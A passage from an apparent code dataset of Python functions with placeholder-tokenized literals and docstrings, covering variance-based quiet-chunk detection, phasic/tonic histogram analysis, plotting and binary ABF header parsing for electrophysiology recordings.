"id": "f11381:m0"}
{"signature": "def plot_shaded_data(X,Y,variances,varianceX):", "body": "plt.plot(X,Y,color='<STR_LIT:k>',lw=<NUM_LIT:2>)<EOL>nChunks=int(len(Y)/CHUNK_POINTS)<EOL>for i in range(<NUM_LIT:0>,<NUM_LIT:100>,PERCENT_STEP):<EOL><INDENT>varLimitLow=np.percentile(variances,i)<EOL>varLimitHigh=np.percentile(variances,i+PERCENT_STEP)<EOL>varianceIsAboveMin=np.where(variances>=varLimitLow)[<NUM_LIT:0>]<EOL>varianceIsBelowMax=np.where(variances<=varLimitHigh)[<NUM_LIT:0>]<EOL>varianceIsRange=[chunkNumber for chunkNumber in range(nChunks)if chunkNumber in varianceIsAboveMinand chunkNumber in varianceIsBelowMax]<EOL>for chunkNumber in varianceIsRange:<EOL><INDENT>t1=chunkNumber*CHUNK_POINTS/POINTS_PER_SEC<EOL>t2=t1+CHUNK_POINTS/POINTS_PER_SEC<EOL>plt.axvspan(t1,t2,alpha=<NUM_LIT>,color=COLORMAP(i/<NUM_LIT:100>),lw=<NUM_LIT:0>)<EOL><DEDENT><DEDENT>", "docstring": "plot X and Y data, then shade its background by variance.", "id": "f11382:m0"}
{"signature": "def show_variances(Y,variances,varianceX,logScale=False):", "body": "plt.figure(<NUM_LIT:1>,figsize=(<NUM_LIT:10>,<NUM_LIT:7>))<EOL>plt.figure(<NUM_LIT:2>,figsize=(<NUM_LIT:10>,<NUM_LIT:7>))<EOL>varSorted=sorted(variances)<EOL>plt.figure(<NUM_LIT:1>)<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.grid()<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plot_shaded_data(X,Y,variances,varianceX)<EOL>plt.margins(<NUM_LIT:0>,<NUM_LIT>)   <EOL>plt.subplot(<NUM_LIT>)<EOL>plt.ylabel(\"<STR_LIT>\"%str(logScale))<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>plt.plot(varianceX,variances,'<STR_LIT>',lw=<NUM_LIT:2>)<EOL>plt.figure(<NUM_LIT:2>)<EOL>plt.ylabel(\"<STR_LIT>\"%str(logScale))<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.plot(varSorted,'<STR_LIT>',lw=<NUM_LIT:2>)<EOL>for i in range(<NUM_LIT:0>,<NUM_LIT:100>,PERCENT_STEP):<EOL><INDENT>varLimitLow=np.percentile(variances,i)<EOL>varLimitHigh=np.percentile(variances,i+PERCENT_STEP)<EOL>label=\"<STR_LIT>\"%(i,i++PERCENT_STEP)<EOL>color=COLORMAP(i/<NUM_LIT:100>)<EOL>print(\"<STR_LIT>\"%(label,varLimitLow,varLimitHigh))<EOL>plt.figure(<NUM_LIT:1>)<EOL>plt.axhspan(varLimitLow,varLimitHigh,alpha=<NUM_LIT>,lw=<NUM_LIT:0>,color=color,label=label)<EOL>plt.figure(<NUM_LIT:2>)<EOL>chunkLow=np.where(varSorted>=varLimitLow)[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>chunkHigh=np.where(varSorted>=varLimitHigh)[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>plt.axvspan(chunkLow,chunkHigh,alpha=<NUM_LIT>,lw=<NUM_LIT:0>,color=color,label=label)<EOL><DEDENT>for fignum in [<NUM_LIT:1>,<NUM_LIT:2>]:<EOL><INDENT>plt.figure(fignum)<EOL>if logScale:<EOL><INDENT>plt.semilogy()<EOL><DEDENT>plt.margins(<NUM_LIT:0>,<NUM_LIT:0>)<EOL>plt.grid()<EOL>if fignum is <NUM_LIT:2>:<EOL><INDENT>plt.legend(fontsize=<NUM_LIT:10>,loc='<STR_LIT>',shadow=True)<EOL><DEDENT>plt.tight_layout()<EOL>plt.savefig('<STR_LIT>'%(fignum,str(logScale)))<EOL><DEDENT>plt.show()<EOL>", "docstring": "create some fancy graphs to show color-coded variances.", "id": "f11382:m1"}
{"signature": "def quietParts():", "body": "", "docstring": "Given some data (Y) break it into chunks and return just the quiet ones.", "id": "f11382:m3"}
{"signature": "def phasicTonic(self,m1=None,m2=None,chunkMs=<NUM_LIT:50>,quietPercentile=<NUM_LIT:10>,<EOL>histResolution=<NUM_LIT>,plotToo=False,rmsExpected=<NUM_LIT:5>):", "body": "<EOL>m1=<NUM_LIT:0> if m1 is None else m1*self.pointsPerSec<EOL>m2=len(abf.sweepY) if m2 is None else m2*self.pointsPerSec<EOL>m1,m2=int(m1),int(m2)<EOL>padding=<NUM_LIT:200> <EOL>chunkPoints=int(chunkMs*self.pointsPerMs)<EOL>histBins=int((padding*<NUM_LIT:2>)/histResolution)<EOL>Y=self.sweepY[m1:m2]<EOL>hist,bins=np.histogram(Y,bins=<NUM_LIT:2>*padding)<EOL>Yoffset=bins[np.where(hist==max(hist))[<NUM_LIT:0>][<NUM_LIT:0>]]<EOL>Y=Y-Yoffset <EOL>nChunks=int(len(Y)/chunkPoints)<EOL>hist,bins=np.histogram(Y,bins=histBins,range=(-padding,padding))<EOL>hist=hist/len(Y) <EOL>Xs=bins[<NUM_LIT:1>:]<EOL>chunks=np.reshape(Y[:nChunks*chunkPoints],(nChunks,chunkPoints))<EOL>variances=np.var(chunks,axis=<NUM_LIT:1>)<EOL>percentiles=np.empty(len(variances))<EOL>for i,variance in enumerate(variances):<EOL><INDENT>percentiles[i]=sorted(variances).index(variance)/len(variances)*<NUM_LIT:100><EOL><DEDENT>blData=chunks[np.where(percentiles<=quietPercentile)[<NUM_LIT:0>]].flatten()<EOL>sigma=np.sqrt(np.var(blData))<EOL>center=np.average(blData)+histResolution/<NUM_LIT:2><EOL>blCurve=mlab.normpdf(Xs,center,sigma)<EOL>blCurve=blCurve*max(hist)/max(blCurve)<EOL>diff=hist-blCurve<EOL>ignrCenter=len(Xs)/<NUM_LIT:2><EOL>ignrPad=rmsExpected/histResolution<EOL>ignr1,ignt2=int(ignrCenter-ignrPad),int(ignrCenter+ignrPad)<EOL>diff[ignr1:ignt2]=<NUM_LIT:0><EOL>return diff/len(Y)*abf.pointsPerSec<EOL>", "docstring": "chunkMs should be ~50 ms or greater.\nbin sizes must be equal to or multiples of the data resolution.\ntransients smaller than the expected RMS will be silenced.", "id": "f11387:c0:m0"}
{"signature": "def quietParts(data,percentile=<NUM_LIT:10>):", "body": "nChunks=int(len(Y)/CHUNK_POINTS)<EOL>chunks=np.reshape(Y[:nChunks*CHUNK_POINTS],(nChunks,CHUNK_POINTS))<EOL>variances=np.var(chunks,axis=<NUM_LIT:1>)<EOL>percentiles=np.empty(len(variances))<EOL>for i,variance in enumerate(variances):<EOL><INDENT>percentiles[i]=sorted(variances).index(variance)/len(variances)*<NUM_LIT:100><EOL><DEDENT>selected=chunks[np.where(percentiles<=percentile)[<NUM_LIT:0>]].flatten()<EOL>return selected<EOL>", "docstring": "Given some data (Y) break it into chunks and return just the quiet ones.\nReturns data where the variance for its chunk size is below the given percentile.\nCHUNK_POINTS should be adjusted so it's about 10ms of data.", "id": "f11388:m0"}
{"signature": "def phasicTonic(self,m1=None,m2=None,chunkMs=<NUM_LIT:50>,quietPercentile=<NUM_LIT:10>,<EOL>histResolution=<NUM_LIT>,plotToo=False):", "body": "<EOL>m1=<NUM_LIT:0> if m1 is None else m1*self.pointsPerSec<EOL>m2=len(abf.sweepY) if m2 is None else m2*self.pointsPerSec<EOL>m1,m2=int(m1),int(m2)<EOL>padding=<NUM_LIT:200> <EOL>chunkPoints=int(chunkMs*self.pointsPerMs)<EOL>histBins=int((padding*<NUM_LIT:2>)/histResolution)<EOL>Y=self.sweepY[m1:m2]<EOL>hist,bins=np.histogram(Y,bins=<NUM_LIT:2>*padding)<EOL>Yoffset=bins[np.where(hist==max(hist))[<NUM_LIT:0>][<NUM_LIT:0>]]<EOL>Y=Y-Yoffset <EOL>nChunks=int(len(Y)/chunkPoints)<EOL>hist,bins=np.histogram(Y,bins=histBins,range=(-padding,padding))<EOL>Xs=bins[<NUM_LIT:1>:]<EOL>chunks=np.reshape(Y[:nChunks*chunkPoints],(nChunks,chunkPoints))<EOL>variances=np.var(chunks,axis=<NUM_LIT:1>)<EOL>percentiles=np.empty(len(variances))<EOL>for i,variance in enumerate(variances):<EOL><INDENT>percentiles[i]=sorted(variances).index(variance)/len(variances)*<NUM_LIT:100><EOL><DEDENT>blData=chunks[np.where(percentiles<=quietPercentile)[<NUM_LIT:0>]].flatten()<EOL>sigma=np.sqrt(np.var(blData))<EOL>center=np.average(blData)+histResolution/<NUM_LIT:2><EOL>blCurve=mlab.normpdf(Xs,center,sigma)<EOL>blCurve=blCurve*max(hist)/max(blCurve)<EOL>diff=hist-blCurve<EOL>if plotToo:<EOL><INDENT>plt.figure(figsize=(<NUM_LIT:15>,<NUM_LIT:5>))<EOL>plt.plot(Y)<EOL>plt.figure(figsize=(<NUM_LIT:7>,<NUM_LIT:7>))<EOL>ax1=plt.subplot(<NUM_LIT>)<EOL>plt.title(abf.ID+\"<STR_LIT>\")<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.plot(Xs,hist,'<STR_LIT:->',alpha=<NUM_LIT>,color='<STR_LIT:b>',lw=<NUM_LIT:3>)<EOL>plt.plot(Xs,blCurve,lw=<NUM_LIT:3>,alpha=<NUM_LIT>,color='<STR_LIT:r>')<EOL>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.subplot(<NUM_LIT>,sharex=ax1)<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.xlabel(\"<STR_LIT>\"%abf.units)<EOL>plt.plot(Xs,diff,'<STR_LIT:->',alpha=<NUM_LIT>,color='<STR_LIT:b>',lw=<NUM_LIT:3>)<EOL>plt.axhline(<NUM_LIT:0>,lw=<NUM_LIT:3>,alpha=<NUM_LIT>,color='<STR_LIT:r>')<EOL>plt.axvline(<NUM_LIT:0>,lw=<NUM_LIT:3>,alpha=<NUM_LIT>,color='<STR_LIT:k>')<EOL>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.axis([-<NUM_LIT:50>,<NUM_LIT:50>,None,None])<EOL>plt.tight_layout()<EOL>plt.show()<EOL><DEDENT>return [Xs,diff]<EOL>", "docstring": "let's keep the chunkMs as high as we reasonably can. 50ms is good.\nThings get flakey at lower numbers like 10ms.\n\nIMPORTANT! for this to work, prevent 0s from averaging in, so keep\nbin sizes well above the data resolution.", "id": "f11390:c0:m0"}
{"signature": "def quietParts(data,percentile=<NUM_LIT:10>):", "body": "nChunks=int(len(Y)/CHUNK_POINTS)<EOL>chunks=np.reshape(Y[:nChunks*CHUNK_POINTS],(nChunks,CHUNK_POINTS))<EOL>variances=np.var(chunks,axis=<NUM_LIT:1>)<EOL>percentiles=np.empty(len(variances))<EOL>for i,variance in enumerate(variances):<EOL><INDENT>percentiles[i]=sorted(variances).index(variance)/len(variances)*<NUM_LIT:100><EOL><DEDENT>selected=chunks[np.where(percentiles<=percentile)[<NUM_LIT:0>]].flatten()<EOL>return selected<EOL>", "docstring": "Given some data (Y) break it into chunks and return just the quiet ones.\nReturns data where the variance for its chunk size is below the given percentile.\nCHUNK_POINTS should be adjusted so it's about 10ms of data.", "id": "f11391:m0"}
{"signature": "def ndist(data,Xs):", "body": "sigma=np.sqrt(np.var(data))<EOL>center=np.average(data)<EOL>curve=mlab.normpdf(Xs,center,sigma)<EOL>curve*=len(data)*HIST_RESOLUTION<EOL>return curve<EOL>", "docstring": "given some data and a list of X posistions, return the normal\ndistribution curve as a Y point at each of those Xs.", "id": "f11391:m1"}
{"signature": "def quietParts(data,percentile=<NUM_LIT:10>):", "body": "nChunks=int(len(Y)/CHUNK_POINTS)<EOL>chunks=np.reshape(Y[:nChunks*CHUNK_POINTS],(nChunks,CHUNK_POINTS))<EOL>variances=np.var(chunks,axis=<NUM_LIT:1>)<EOL>percentiles=np.empty(len(variances))<EOL>for i,variance in enumerate(variances):<EOL><INDENT>percentiles[i]=sorted(variances).index(variance)/len(variances)*<NUM_LIT:100><EOL><DEDENT>selected=chunks[np.where(percentiles<=percentile)[<NUM_LIT:0>]].flatten()<EOL>return selected<EOL>", "docstring": "Given some data (Y) break it into chunks and return just the quiet ones.\nReturns data where the variance for its chunk size is below the given percentile.\nCHUNK_POINTS should be adjusted so it's about 10ms of data.", "id": "f11392:m0"}
{"signature": "def ndist(data,Xs):", "body": "sigma=np.sqrt(np.var(data))<EOL>center=np.average(data)<EOL>curve=mlab.normpdf(Xs,center,sigma)<EOL>curve*=len(data)*HIST_RESOLUTION<EOL>return curve<EOL>", "docstring": "given some data and a list of X posistions, return the normal\ndistribution curve as a Y point at each of those Xs.", "id": "f11392:m1"}
{"signature": "def phasicTonic(self,m1=None,m2=None,chunkMs=<NUM_LIT:50>,<EOL>quietPercentile=<NUM_LIT:10>,histResolution=<NUM_LIT:1>):", "body": "<EOL>m1=<NUM_LIT:0> if m1 is None else m1*self.pointsPerSec<EOL>m2=len(abf.sweepY) if m2 is None else m2*self.pointsPerSec<EOL>m1,m2=int(m1),int(m2)<EOL>padding=<NUM_LIT:200> <EOL>chunkPoints=int(chunkMs*self.pointsPerMs)<EOL>histBins=int((padding*<NUM_LIT:2>)/histResolution)<EOL>Y=self.sweepYfilteredHisto()[m1:m2]<EOL>hist,bins=np.histogram(Y,bins=<NUM_LIT:2>*padding)<EOL>Yoffset=bins[np.where(hist==max(hist))[<NUM_LIT:0>][<NUM_LIT:0>]]<EOL>Y=Y-Yoffset <EOL>nChunks=int(len(Y)/chunkPoints)<EOL>hist,bins=np.histogram(Y,bins=histBins,range=(-padding,padding))<EOL>chunks=np.reshape(Y[:nChunks*chunkPoints],(nChunks,chunkPoints))<EOL>variances=np.ptp(chunks,axis=<NUM_LIT:1>)<EOL>percentiles=np.empty(len(variances))<EOL>for i,variance in enumerate(variances):<EOL><INDENT>percentiles[i]=sorted(variances).index(variance)/len(variances)*<NUM_LIT:100><EOL><DEDENT>blData=chunks[np.where(percentiles<=quietPercentile)[<NUM_LIT:0>]].flatten()<EOL>blHist,blBins=np.histogram(blData,bins=histBins,range=(-padding,padding))<EOL>blHist=blHist/max(blHist)*max(hist)<EOL>diff=hist-blHist<EOL>return diff/abf.pointsPerSec<EOL>", "docstring": "chunkMs should be ~50 ms or greater.\nbin sizes must be equal to or multiples of the data resolution.\ntransients smaller than the expected RMS will be silenced.", "id": "f11393:c0:m1"}
{"signature": "def phasicTonic(self,m1=None,m2=None,chunkMs=<NUM_LIT:50>,quietPercentile=<NUM_LIT:10>,<EOL>histResolution=<NUM_LIT>,plotToo=False):", "body": "<EOL>m1=<NUM_LIT:0> if m1 is None else m1*self.pointsPerSec<EOL>m2=len(abf.sweepY) if m2 is None else m2*self.pointsPerSec<EOL>m1,m2=int(m1),int(m2)<EOL>padding=<NUM_LIT:200> <EOL>chunkPoints=int(chunkMs*self.pointsPerMs)<EOL>histBins=int((padding*<NUM_LIT:2>)/histResolution)<EOL>Y=self.sweepY[m1:m2]<EOL>hist,bins=np.histogram(Y,bins=<NUM_LIT:2>*padding)<EOL>Yoffset=bins[np.where(hist==max(hist))[<NUM_LIT:0>][<NUM_LIT:0>]]<EOL>Y=Y-Yoffset <EOL>nChunks=int(len(Y)/chunkPoints)<EOL>hist,bins=np.histogram(Y,bins=histBins,range=(-padding,padding))<EOL>hist=hist/len(Y) <EOL>Xs=bins[<NUM_LIT:1>:]<EOL>chunks=np.reshape(Y[:nChunks*chunkPoints],(nChunks,chunkPoints))<EOL>variances=np.var(chunks,axis=<NUM_LIT:1>)<EOL>percentiles=np.empty(len(variances))<EOL>for i,variance in enumerate(variances):<EOL><INDENT>percentiles[i]=sorted(variances).index(variance)/len(variances)*<NUM_LIT:100><EOL><DEDENT>blData=chunks[np.where(percentiles<=quietPercentile)[<NUM_LIT:0>]].flatten()<EOL>sigma=np.sqrt(np.var(blData))<EOL>center=np.average(blData)+histResolution/<NUM_LIT:2><EOL>blCurve=mlab.normpdf(Xs,center,sigma)<EOL>blCurve=blCurve*max(hist)/max(blCurve)<EOL>diff=hist<EOL>IGNORE_DISTANCE=<NUM_LIT:5> <EOL>ignrCenter=len(Xs)/<NUM_LIT:2><EOL>ignrPad=IGNORE_DISTANCE/histResolution<EOL>ignr1,ignt2=int(ignrCenter-ignrPad),int(ignrCenter+ignrPad)<EOL>diff[ignr1:ignt2]=<NUM_LIT:0><EOL>if plotToo:<EOL><INDENT>plt.figure(figsize=(<NUM_LIT:15>,<NUM_LIT:5>))<EOL>plt.plot(Y)<EOL>plt.figure(figsize=(<NUM_LIT:7>,<NUM_LIT:7>))<EOL>ax1=plt.subplot(<NUM_LIT>)<EOL>plt.title(abf.ID+\"<STR_LIT>\")<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.plot(Xs,hist,'<STR_LIT:->',alpha=<NUM_LIT>,color='<STR_LIT:b>',lw=<NUM_LIT:3>)<EOL>plt.plot(Xs,blCurve,lw=<NUM_LIT:3>,alpha=<NUM_LIT>,color='<STR_LIT:r>')<EOL>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.subplot(<NUM_LIT>,sharex=ax1)<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.xlabel(\"<STR_LIT>\"%abf.units)<EOL>plt.plot(Xs,diff,'<STR_LIT:->',alpha=<NUM_LIT>,color='<STR_LIT:b>',lw=<NUM_LIT:3>)<EOL>plt.axhline(<NUM_LIT:0>,lw=<NUM_LIT:3>,alpha=<NUM_LIT>,color='<STR_LIT:r>')<EOL>plt.axvline(<NUM_LIT:0>,lw=<NUM_LIT:3>,alpha=<NUM_LIT>,color='<STR_LIT:k>')<EOL>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.axis([-<NUM_LIT:50>,<NUM_LIT:50>,None,None])<EOL>plt.tight_layout()<EOL>plt.show()<EOL>print(np.sum(np.split(diff,<NUM_LIT:2>),<NUM_LIT:1>))<EOL><DEDENT>return diff/len(Y)*abf.pointsPerSec<EOL>", "docstring": "let's keep the chunkMs as high as we reasonably can. 50ms is good.\nThings get flakey at lower numbers like 10ms.\n\nIMPORTANT! for this to work, prevent 0s from averaging in, so keep\nbin sizes well above the data resolution.", "id": "f11394:c0:m0"}
{"signature": "def phasicTonic(self,m1=None,m2=None,chunkMs=<NUM_LIT:50>,<EOL>quietPercentile=<NUM_LIT:10>,histResolution=<NUM_LIT:1>):", "body": "<EOL>m1=<NUM_LIT:0> if m1 is None else m1*self.pointsPerSec<EOL>m2=len(abf.sweepY) if m2 is None else m2*self.pointsPerSec<EOL>m1,m2=int(m1),int(m2)<EOL>padding=<NUM_LIT:200> <EOL>chunkPoints=int(chunkMs*self.pointsPerMs)<EOL>histBins=int((padding*<NUM_LIT:2>)/histResolution)<EOL>Y=self.sweepYfilteredHisto()[m1:m2]<EOL>hist,bins=np.histogram(Y,bins=<NUM_LIT:2>*padding)<EOL>nChunks=int(len(Y)/chunkPoints)<EOL>hist,bins=np.histogram(Y,bins=histBins,range=(-padding,padding))<EOL>chunks=np.reshape(Y[:nChunks*chunkPoints],(nChunks,chunkPoints))<EOL>variances=np.ptp(chunks,axis=<NUM_LIT:1>)<EOL>percentiles=np.empty(len(variances))<EOL>for i,variance in enumerate(variances):<EOL><INDENT>percentiles[i]=sorted(variances).index(variance)/len(variances)*<NUM_LIT:100><EOL><DEDENT>blData=chunks[np.where(percentiles<=quietPercentile)[<NUM_LIT:0>]].flatten()<EOL>blHist,blBins=np.histogram(blData,bins=histBins,range=(-padding,padding))<EOL>blHist=blHist/max(blHist)*max(hist)<EOL>diff=hist-blHist<EOL>return diff/abf.pointsPerSec<EOL>", "docstring": "chunkMs should be ~50 ms or greater.\nbin sizes must be equal to or multiples of the data resolution.\ntransients smaller than the expected RMS will be silenced.", "id": "f11395:c0:m1"}
{"signature": "def quietParts(data,percentile=<NUM_LIT:10>):", "body": "nChunks=int(len(Y)/CHUNK_POINTS)<EOL>chunks=np.reshape(Y[:nChunks*CHUNK_POINTS],(nChunks,CHUNK_POINTS))<EOL>variances=np.var(chunks,axis=<NUM_LIT:1>)<EOL>percentiles=np.empty(len(variances))<EOL>for i,variance in enumerate(variances):<EOL><INDENT>percentiles[i]=sorted(variances).index(variance)/len(variances)*<NUM_LIT:100><EOL><DEDENT>selected=chunks[np.where(percentiles<=percentile)[<NUM_LIT:0>]].flatten()<EOL>return selected<EOL>", "docstring": "Given some data (Y) break it into chunks and return just the quiet ones.\nReturns data where the variance for its chunk size is below the given percentile.\nCHUNK_POINTS should be adjusted so it's about 10ms of data.", "id": "f11396:m0"}
{"signature": "def ndist(data,Xs):", "body": "sigma=np.sqrt(np.var(data))<EOL>center=np.average(data)<EOL>curve=mlab.normpdf(Xs,center,sigma)<EOL>curve*=len(data)*HIST_RESOLUTION<EOL>return curve<EOL>", "docstring": "given some data and a list of X posistions, return the normal\ndistribution curve as a Y point at each of those Xs.", "id": "f11396:m1"}
{"signature": "def phasicTonic(self,m1=None,m2=None,chunkMs=<NUM_LIT:10>,<EOL>quietPercentile=<NUM_LIT:10>,histResolution=<NUM_LIT>,<EOL>plotToo=False):", "body": "<EOL>m1=<NUM_LIT:0> if m1 is None else m1*self.pointsPerSec<EOL>m2=len(abf.sweepY) if m2 is None else m2*self.pointsPerSec<EOL>m1,m2=int(m1),int(m2)<EOL>self.kernel=self.kernel_gaussian(<NUM_LIT>)<EOL>Y=self.sweepYsmartbase()<EOL>padding=<NUM_LIT:50> <EOL>chunkPoints=int(chunkMs*self.pointsPerMs)<EOL>nChunks=int(len(Y)/chunkPoints)<EOL>histBins=int((padding*<NUM_LIT:2>)/histResolution)<EOL>hist,bins=np.histogram(Y,bins=histBins,range=(-padding,padding))<EOL>hist=hist.astype(np.float)<EOL>chunks=np.reshape(Y[:nChunks*chunkPoints],(nChunks,chunkPoints))<EOL>variances=np.var(chunks,axis=<NUM_LIT:1>)<EOL>percentiles=np.empty(len(variances))<EOL>for i,variance in enumerate(variances):<EOL><INDENT>percentiles[i]=sorted(variances).index(variance)/len(variances)*<NUM_LIT:100><EOL><DEDENT>blData=chunks[np.where(percentiles<=quietPercentile)[<NUM_LIT:0>]].flatten()<EOL>sigma=np.sqrt(np.var(blData))<EOL>center=np.average(blData)<EOL>blCurve=mlab.normpdf(bins[:-<NUM_LIT:1>],center,sigma)<EOL>blCurve=blCurve/max(blCurve)<EOL>blCurve=blCurve*max(hist)<EOL>blankPoints=int(<NUM_LIT:2>*sigma/histResolution)<EOL>centerI=int(len(hist)/<NUM_LIT:2>)<EOL>for i in range(blankPoints):<EOL><INDENT>hist[centerI-i]=np.nan<EOL>hist[centerI+i]=np.nan<EOL><DEDENT>diff=hist-blCurve<EOL>if plotToo:<EOL><INDENT>plt.figure(figsize=(<NUM_LIT:7>,<NUM_LIT:7>))<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.title(abf.ID+\"<STR_LIT>\")<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.plot(bins[:-<NUM_LIT:1>],hist,'<STR_LIT:.>',alpha=<NUM_LIT>)<EOL>plt.plot(bins[:-<NUM_LIT:1>],blCurve,lw=<NUM_LIT:3>,alpha=<NUM_LIT>,color='<STR_LIT:r>')<EOL>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.xlabel(\"<STR_LIT>\"%abf.units)<EOL>plt.plot(bins[:-<NUM_LIT:1>],diff,'<STR_LIT:.>',alpha=<NUM_LIT>,color='<STR_LIT:b>')<EOL>plt.axhline(<NUM_LIT:0>,lw=<NUM_LIT:3>,alpha=<NUM_LIT>,color='<STR_LIT:r>')<EOL>plt.axvline(<NUM_LIT:0>,lw=<NUM_LIT:3>,alpha=<NUM_LIT>,color='<STR_LIT:r>')<EOL>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.tight_layout()<EOL>plt.show()<EOL><DEDENT>", "docstring": "IMPORTANT: do this first!!\nself.kernel=self.kernel_gaussian(250)", "id": "f11397:c0:m0"}
{"signature": "def plotAllSweeps(abfFile):", "body": "r = io.AxonIO(filename=abfFile)<EOL>bl = r.read_block(lazy=False, cascade=True)     <EOL>print(abfFile+\"<STR_LIT>\"%len(bl.segments))<EOL>plt.figure(figsize=(<NUM_LIT:12>,<NUM_LIT:10>))<EOL>plt.title(abfFile)<EOL>for sweep in range(len(bl.segments)):<EOL><INDENT>trace = bl.segments[sweep].analogsignals[<NUM_LIT:0>]<EOL>plt.plot(trace.times-trace.times[<NUM_LIT:0>],trace.magnitude,alpha=<NUM_LIT>)    <EOL><DEDENT>plt.ylabel(trace.dimensionality)<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>plt.show()<EOL>plt.close()<EOL>", "docstring": "simple example how to load an ABF file and plot every sweep.", "id": "f11402:m0"}
{"signature": "def fread(f,byteLocation,structFormat=None,nBytes=<NUM_LIT:1>):", "body": "f.seek(byteLocation)<EOL>if structFormat:<EOL><INDENT>val = struct.unpack(structFormat, f.read(struct.calcsize(structFormat)))<EOL>val = val[<NUM_LIT:0>] if len(val)==<NUM_LIT:1> else list(val)<EOL>return val<EOL><DEDENT>else:<EOL><INDENT>return f.read(nBytes)<EOL><DEDENT>", "docstring": "Given an already-open (rb mode) file object, return a certain number of bytes at a specific location.\nIf a struct format is given, calculate the number of bytes required and return the object it represents.", "id": "f11403:m0"}
{"signature": "def abf_read_header(fname, saveHeader=True):", "body": "<EOL>header={} <EOL>sections={} <EOL>strings=[] <EOL>protocol = {} <EOL>tags=[] <EOL>adcs=[] <EOL>dacs=[] <EOL>digitalOutputs=[] <EOL>config={} <EOL>f=open(fname,'<STR_LIT:rb>')<EOL>config[\"<STR_LIT>\"]=os.path.abspath(fname) <EOL>config[\"<STR_LIT>\"]=os.path.basename(fname)[:-<NUM_LIT:4>] <EOL>for key, byte_location, fmt in headerDescriptionV2:<EOL><INDENT>header[key]=fread(f,byte_location,fmt)<EOL><DEDENT>header['<STR_LIT>']=header['<STR_LIT>'].decode()<EOL>for sectionNumber, sectionName in enumerate(sectionNames):<EOL><INDENT>uBlockIndex, uBytes, llNumEntries = fread(f,<NUM_LIT>+sectionNumber*<NUM_LIT:16>,\"<STR_LIT>\")<EOL>sections[sectionName] = [uBlockIndex,uBytes,llNumEntries]<EOL><DEDENT>config[\"<STR_LIT>\"]=header['<STR_LIT>']/<NUM_LIT:1000>/<NUM_LIT:1000><EOL>byte_location = sections['<STR_LIT>'][<NUM_LIT:0>]*BLOCKSIZE<EOL>string_size = sections['<STR_LIT>'][<NUM_LIT:1>]<EOL>strings_data = fread(f,byte_location,structFormat=None,nBytes=string_size)<EOL>for key in [b'<STR_LIT>', b'<STR_LIT>', b'<STR_LIT>', b'<STR_LIT>', b'<STR_LIT>']:<EOL><INDENT>if key in strings_data:<EOL><INDENT>for line in strings_data.split(key)[<NUM_LIT:1>].split(b'<STR_LIT:\\x00>')[<NUM_LIT:1>:-<NUM_LIT:1>]:<EOL><INDENT>strings.append(line.decode())<EOL><DEDENT>config[\"<STR_LIT>\"]=strings[<NUM_LIT:0>]<EOL>config[\"<STR_LIT>\"]=strings[<NUM_LIT:1>]<EOL>config[\"<STR_LIT>\"]=strings[<NUM_LIT:2>::<NUM_LIT:2>]<EOL>config[\"<STR_LIT>\"]=strings[<NUM_LIT:3>::<NUM_LIT:2>]<EOL>break<EOL><DEDENT><DEDENT>for ADCsection in range(sections['<STR_LIT>'][<NUM_LIT:2>]):<EOL><INDENT>thisADC={}<EOL>byte_location=sections['<STR_LIT>'][<NUM_LIT:0>]*BLOCKSIZE+sections['<STR_LIT>'][<NUM_LIT:1>]*ADCsection<EOL>for key, fmt in ADCInfoDescription:<EOL><INDENT>thisADC[key]=fread(f,byte_location,fmt)<EOL>byte_location+=struct.calcsize(fmt)<EOL><DEDENT>adcs.append(thisADC)<EOL><DEDENT>byte_location=sections['<STR_LIT>'][<NUM_LIT:0>]*BLOCKSIZE<EOL>for key, fmt in protocolInfoDescription:<EOL><INDENT>protocol[key]=fread(f,byte_location,fmt)<EOL>byte_location+=struct.calcsize(fmt)<EOL><DEDENT>protocol.pop('<STR_LIT>', None) <EOL>byte_location=sections['<STR_LIT>'][<NUM_LIT:0>]*BLOCKSIZE<EOL>for i in range(sections['<STR_LIT>'][<NUM_LIT:2>]):<EOL><INDENT>thisTag=[]<EOL>for key, fmt in TagInfoDescription:<EOL><INDENT>val=fread(f,byte_location,fmt)<EOL>if type(val) is bytes:<EOL><INDENT>val=val.decode().strip()<EOL><DEDENT>thisTag.append(val)<EOL>byte_location+=struct.calcsize(fmt)<EOL><DEDENT>tags.append(thisTag)<EOL><DEDENT>for dacNumber in range(sections['<STR_LIT>'][<NUM_LIT:2>]):<EOL><INDENT>thisDAC={}<EOL>byte_location=sections['<STR_LIT>'][<NUM_LIT:0>]*BLOCKSIZE+sections['<STR_LIT>'][<NUM_LIT:1>]*dacNumber                              <EOL>for key, fmt in DACInfoDescription:<EOL><INDENT>thisDAC[key]=fread(f,byte_location,fmt)<EOL>byte_location+=struct.calcsize(fmt)<EOL><DEDENT>thisDAC.pop('<STR_LIT>', None) <EOL>if thisDAC['<STR_LIT>']==<NUM_LIT:0>: continue <EOL>dacs.append(thisDAC)<EOL><DEDENT>epochs=[]<EOL>for epochNumber in range(sections['<STR_LIT>'][<NUM_LIT:2>]):<EOL><INDENT>thisEpoch={}<EOL>byte_location=sections['<STR_LIT>'][<NUM_LIT:0>]*BLOCKSIZE+sections['<STR_LIT>'][<NUM_LIT:1>]*epochNumber<EOL>for key, fmt 